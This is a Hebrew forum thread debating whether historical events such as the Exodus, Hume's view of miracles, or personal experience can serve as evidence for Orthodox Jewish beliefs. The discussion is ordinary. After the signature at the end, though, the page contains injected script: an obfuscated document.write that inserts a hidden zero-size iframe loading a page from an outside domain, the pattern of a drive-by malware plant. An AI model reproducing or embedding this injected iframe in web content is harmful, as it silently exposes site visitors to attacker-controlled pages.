שאלות בHypothesis Testing

כבר כתבתי כמה פעמים מה הבעיה בזה, כך שמיותר לכתוב עוד פעם. בקר טוב.

הפיל בחדר

סוף סוף אשכול משלך עם נושא מוגדר ומרתק.

לצערי לא הבנתי מילות יסוד. מה זה "אורתוגונאלית "?

אבל נראה שאפשר להתייחס לשאלותיך גם בלי מילה זו.

אם הבנתי, אתה שואל אילו ראיות יכולה היהדות - אמונות היהדות האורתודוכסית - להציע לנכונותה.

והבאת בחשבון שתי אפשרויות.

א. הטענה שהאמונה באלוקים היא מדעית. מסוג הטענה שכותב מיכי.

ב. הטענות ההיסטוריות. כאן היית יכול להזכיר את דברי יום, כי הדרך היחידה שבה נכיר בנס היא אם דחיית ההוכחות שהיה כזה דבר תסבך אותנו באי רציונליות גדולה מאשר להודות בשינוי סדרי הטבע.

ג. עוד העלית נקודה שלישית, שאולי היתה ברורה קודם אבל לגבי היא חדשה. והיא שככל שעובר זמן כך היכולת להוכיח ולהאמין בסיפורים היסטוריים פוחתת.

כמדומה שהדבר הראשון שיש לבדוק עוד לפני שבודקים אם היהדות אומרת אמת זה מה היהדות אומרת.

וזה לא דבר אחדותי. שאלות עצומות, גם בהיסטוריה, גם בתיאולוגיה ופילוסופיה, נתונות במחלוקת.

אולי ניתן לסכם על מקבץ קטן ככל האפשר של קביעות.

1. יש אלוקים. הוא מתעניין בנו, אוהב אותנו, תובע מאיתנו ללכת בדרך החסד והאמת. ונתן לנו תורה ומצוות.

2. היו אירועים היסטוריים יוצאי דופן בתולדות עם ישראל.

לכך ניתן להוסיף

3. ניתן להכיר את ה' גם מתוך החויה האישית.

שים לב למה שלא כללתי בסעיף הראשון. לא כללתי בו את ההצהרה שה' ברא את כל העולם. אם אתה מכיר, כבר ריה"ל נזהר מהטענה הזו, שהיא לדעתו אמיתית אבל לא בת הוכחה.

ובכלל, מה זו הוכחה?

לא כתבתי שהיה נס שדוחה את הטבע, כמו קריעת ים סוף. בגלל שלפי פשטות הכתובים זה לא היה נס שעוקר חוקים (אם יש כזה דבר עקרונית, פילוסופית) אלא נס שעמד על הזימון המוצלח.

בדומה לזה אפשר לטעון שההיסטוריה היהודית היא ייחודית. ולא רק בכך שכל דבר הוא ייחודי (אין מספר משעמם במתמטיקה) אלא ייחודיות שניתן לפתח ולאפיין. מפאת קוצר זמן איני עושה זאת. אבל האם אין זה נכון שהעם היהודי שרד, באופן כלשהו, אלפי שנים. הוא צעיר מעמים אחרים שהיו בימי אברהם ומשה. אבל כבר היה על זה אשכול והדברים טעונים הבהרה.

גם הנושא של המפגש עם האלוקים בחויה האישית קשה משום מה לדיון. אני די סבור שאני מסוגל להסביר דברים היטב, ויש כאלו שלא הצלחתי להגיע איתם להסכמה על שימוש במילות יסוד כמו "הוכחה".

אבל לעת אסתפק בכך שיהיה ברור מה אני אומר שהיהדות כוללת, מה הן אמונותיה, מה היא דורשת מן האדם, מה היא מבטיחה לו.

אולי נתחיל בדבר זה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

מיימוני, תמיהני.

פשטות הכתובים בוודאי מדברת על ניסים.
משה מרים את ידו והים נבקע לשתיים. 
זריקת מוט והפיכתו לנחש.
הפיכת היאור לדם.
מיתת כל הבכורים בלבד.

ועוד כהנה וכהנה. יכול אתה לדרוש את הפסוקים ולשנותם, בוודאי שהפשט הוא שהיו ניסים ובגללם "ויאמינו בה' ובמשה עבדו".

כעת נפרק את שלושת הנקודות:
1. יש אלוקים. הוא מתעניין בנו, אוהב אותנו, תובע מאיתנו ללכת בדרך החסד והאמת. ונתן לנו תורה ומצוות.
הרישא והסיפא נכונים, המציעתא לא. "דרך חסד ואמת" לא לפי הגיונינו הפרטי. עשרות מצוות שניתנו לנו נוגדים חסד, ועל אמת ושקר אין צורך להכביר במילים.
2. היו אירועים היסטוריים יוצאי דופן בתולדות עם ישראל.
ההגדרה ממזערת. היו ארועים היסטוריים בגללם העם האמין בא-ל. הא-ל בעצמו או באמצעות נביא נגלה לכל מי שהאמין בו (אולי מלבד אברהם בתחילה). אף אחד לא הכיר את אותו א-ל מתערב ללא הוכחות.
לכך ניתן להוסיף

3. ניתן להכיר את ה' גם מתוך החויה האישית.
זה כמובן ע"פ הדרך המיימונית המסורה לו אישית. עד כמה שהדבר ידוע לשאר באי עולם (99.99999%) אי אפשר להכיר את הא-ל היהודי מהחוויה האישית שלהם. אך אופס... דיברת על היהדות. גם ביהדות זה ניתן רק למי שמכיר אותו קודם ולא בריא למה הכוונה "חוויה אישית".

אשכולו של הפיל, מדבר על נקודה אחרת.
בהנחה שמדובר בארוע מכונן אשר על פיו הוחלט בעם כי ה' הוא הא-לוהים. ארוע, או סדרת ארועים.
האם אותו ארוע, אכן אמור להעיד על כי קרה משהו על טבעי?

לשם כך אין צורך להיכנס לכל השאלה בדבר החוויה האישית (למעט זאת: אם ברור לך מהחוויה האישית כי הרעו בפועל  מאורעות כאלו, הדיון מיותר).

גם בהנחה כי יש א-ל, ההוכחה כי הוא הינו הא-ל איקס, ולא הא-ל שמיקס, וכי מצוותיו הן לאכול פלאפל ולא לרצוח יהודים, נעשית ע"י מאורע היסטורי כלשהו.


זהו נושא הדיון.

עודד, כל הסיפור שלך לא מצריך כלל א-ל. בוודאי שלא א-ל מתערב.

הערתו של אלי_ס אלי היא חשובה מאד

'עודד, כל הסיפור שלך לא מצריך כלל א-ל. בוודאי שלא א-ל מתערב'.

אלי_ס מדבר על הצורך האנושי של המאמין בזיקה אל האל, והזיקה הזו היא מיסודות האמונה שלנו. שהמאמין מכיר בו ומקבל עליו לעבוד אותו. זיקה זו מתפתחת לכדי מכלול שלם של תאורים, כמו הנהגתו והשגחתו, והורדת גשמים בעיתם, ומתן שכר ועונש,  ובכללם, מה שנוגע לדיון שלנו, כל מסכת הנסים החורגים מן הטבע.
בעל האשכול טוען כי נסים אלו הם הם שביסוד האמונה שלנו. נסיתי להראות כי בשעה שאני מסלק את כולם כאחת, ואפילו אוחז ב'עולם כמנהגו נוהג', המהות הפנימית של האמונה, לא רק שאינה מתבטלת, אלא שהיא מופיעה במלא תפארתה וחוזקה ותביעותיה מן האדם. [תביעות שאנחנו עושים הכל כדי להמנע ולחמוק מהן].
עודד

אלי,
אני מנסה להסביר שזה דיון בלתי אפשרי ולכן מיותר, כדי שהרבים לא יתעו אחריו.
מעבר לזה אני מצטרף להסבר המקיף יותר של ר' מיכי בענין, חוץ מהנקודה בה הוא מעדיף את אלהי הרציונליזם מחוסר האמנה, על השם א-להי ישראל שם דרכינו נפרדות. (נכתב למען הגילוי הנאות ולא כביקורת שבהקשר הזה ודאי קיימת אבל לא רלוונטית לאשכול הזה.) בברכת שבת שלום לכולם.

(כמקודם, די תוספת למה שאלי כבר כתב.)

מיימוני כתב:   שלום מיימוני, לצערי לא הבנתי מילות יסוד. מה זה "אורתוגונאלית "? אבל נראה שאפשר להתייחס לשאלותיך גם בלי מילה זו. בכנות, סליחה. אורתוגונאלי = (כפי שעודד כתב, ניצב,) משהו נטול השלכה, לדוגמה "העדפת ביסלי על פני בייגלה אורתוגונאלית לגיל הממוצע לקבלת רשיון נהיגה" (אולי זה נכון, אפילו). אם הבנתי, אתה שואל אילו ראיות יכולה היהדות - אמונות היהדות האורתודוכסית - להציע לנכונותה. והבאת בחשבון שתי אפשרויות. א. הטענה שהאמונה באלוקים היא מדעית. מסוג הטענה שכותב מיכי. ב. הטענות ההיסטוריות. כאן היית יכול להזכיר את דברי יום, כי הדרך היחידה שבה נכיר בנס היא אם דחיית ההוכחות שהיה כזה דבר תסבך אותנו באי רציונליות גדולה מאשר להודות בשינוי סדרי הטבע. לא כ"כ מסכים עם דבריך (אגב, יש בעצכ"ח תופעה מוזרה של בלבול בין "מדעי" ל"רציונאלי".) הבה נמקד את הדברים כפי שהציג אלי. יש שתי היפותזות לגבי יציאת מצריים. אחת מהמסקנות שגוייה. מסכים / לא מסכים? למה? את דעתי הנחרצת הסברתי בפתיחת האשכול. את יום ושותפיו הזכרתי בפתיחה בקטע שנמחק. מדובר בטענה כ"כ טריוויאלית - למה צריך פילוסופים בשבילה? זה יעזור, במקום לדבר על הבעיה, בלדבר על איך יום היה מגדיר את הבעיה? לגבי טענות מיכי - הנה הוא הגיע, ואענה לו שם. ג. עוד העלית נקודה שלישית, שאולי היתה ברורה קודם אבל לגבי היא חדשה. והיא שככל שעובר זמן כך היכולת להוכיח ולהאמין בסיפורים היסטוריים פוחתת. (זה חדש?) ככל שמתרחקים בזמן, הנסיבות משתנות, אבל יש יותר זמן לחקור. ההשפעה על ההבנה אינה אחידה בכל התחומים. כשזה מגיע לדברים כמו מים, לדוגמה, אפשר לערוך המון ניסויים בלתי תלויים. מים מבינים היום יותר טוב מאשר בעבר. היום אפשר לבצע אלקטרוליזה במים, לדוגמה. יש היום הערכה יותר טובה לכמות המים שהיתה בכדוה"א לפני 3000 שנה, מאשר למי שחי באותה תקופה. כשזה מגיע למשהו כמו היחס למילה הכתובה בחברה בהתהוות האוריינות, לדוגמה, אין שום התקדמות מחקרית. הסיבה היא שכשחברה נהיית אוריינית, היא נשארת ככה, ואי אפשר לשכנע אותה לחזור שוב למען סקרנותנו. מה שמוסיף לקושי הוא שאנו יודעים דברים בעיקר דרך המילה הכתובה, והמפגש שלה עם חברות שאינן אורייניות, נוטה להפוך אותן לכאלה שכן. האבסורד ביהדות הדתית הוא בחירת ההיפותזה הדועכת עם הזמן, יחסית לזו המתחזקת עם הזמן. כמדומה שהדבר הראשון שיש לבדוק עוד לפני שבודקים אם היהדות אומרת אמת זה מה היהדות אומרת. וזה לא דבר אחדותי. שאלות עצומות, גם בהיסטוריה, גם בתיאולוגיה ופילוסופיה, נתונות במחלוקת. אולי לא אחדותי, אך כנראה בעל רוב מכריע. ליתר בטחון פירטתי מה אני טוען שרציונאלי ומה לא. אולי ניתן לסכם על מקבץ קטן ככל האפשר של קביעות. 1. יש אלוקים. הוא מתעניין בנו, אוהב אותנו, תובע מאיתנו ללכת בדרך החסד והאמת. ונתן לנו תורה ומצוות. אוקיי, על סמך מה הקביעות הללו? 2. היו אירועים היסטוריים יוצאי דופן בתולדות עם ישראל. אינני יודע האם באסיה היו מסכימים אתך, אבל ניחא. עכשיו השאלה מהם אירועים יוצאי דופן אלה: שאכן קרו דברים גשמיים יוצאי דופן לע"י, או שקבוצת פתאים יוצאת מגדר הרגיל צמחה שם. זו בדיוק השאלה. לכך ניתן להוסיף 3. ניתן להכיר את ה' גם מתוך החויה האישית. סבבה. יש לך תחושה ש"מישהו אחראי לכל זה ואוהב אותי". אין לי בעיה עם זה. שים לב למה שלא כללתי בסעיף הראשון. לא כללתי בו את ההצהרה שה' ברא את כל העולם. אם אתה מכיר, כבר ריה"ל נזהר מהטענה הזו, שהיא לדעתו אמיתית אבל לא בת הוכחה. ובכלל, מה זו הוכחה? נו, מיימוני. מבצעים ניסוי במעבדה, ומקבלים תוצאה כלשהי. אתה חושב שבשלב זה צריך לשלוף את יום כדי להגדיר הוכחה? תסביר מה בדקת, מה יצא, ומה הסקת. לא כתבתי שהיה נס שדוחה את הטבע, כמו קריעת ים סוף. בגלל שלפי פשטות הכתובים זה לא היה נס שעוקר חוקים (אם יש כזה דבר עקרונית, פילוסופית) אלא נס שעמד על הזימון המוצלח. אה"נ, כבר כתבתי זאת בפתיחה. עם חלוף הזמן, מתברר שמדובר ברצף אירועים טבעיים לחלוטין שהתזמון שלהם חסר מקבילה בתולדות האנושות. ככל שהזמן חולף רק מבינים שסבירות התזמון קטנה. המשך בהגיון מכאן. בדומה לזה אפשר לטעון שההיסטוריה היהודית היא ייחודית. ולא רק בכך שכל דבר הוא ייחודי (אין מספר משעמם במתמטיקה) אלא ייחודיות שניתן לפתח ולאפיין. מפאת קוצר זמן איני עושה זאת. אבל האם אין זה נכון שהעם היהודי שרד, באופן כלשהו, אלפי שנים. הוא צעיר מעמים אחרים שהיו בימי אברהם ומשה. אבל כבר היה על זה אשכול והדברים טעונים הבהרה. אני חוזר. אם היית מהנדס שרידות עמים, והיו מבקשים ממך לתכנן עם חדש במודל מבוזר - היה פה משהו מעניין. כעת יש שתי היפותזות: או שהשרידות מעידה על משהו שקרה, או שהיא מעידה שפתאות דתית יוצאת דופן היא אסטרטגיית שרידות לא רעה. איך אתה מכריע בין האפשרויות? גם הנושא של המפגש עם האלוקים בחויה האישית קשה משום מה לדיון. אני די סבור שאני מסוגל להסביר דברים היטב, ויש כאלו שלא הצלחתי להגיע איתם להסכמה על שימוש במילות יסוד כמו "הוכחה". אולי דווקא בגלל זה. אולי אל תשתמש בהגדרה של הוכחה - פשוט תוכיח. אבל לעת אסתפק בכך שיהיה ברור מה אני אומר שהיהדות כוללת, מה הן אמונותיה, מה היא דורשת מן האדם, מה היא מבטיחה לו. אולי נתחיל בדבר זה? אישית אשמח אם תתחיל בנקודה מפתיחת האשכול. שתי היפותזות. איזו? למה? שבת שלום. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");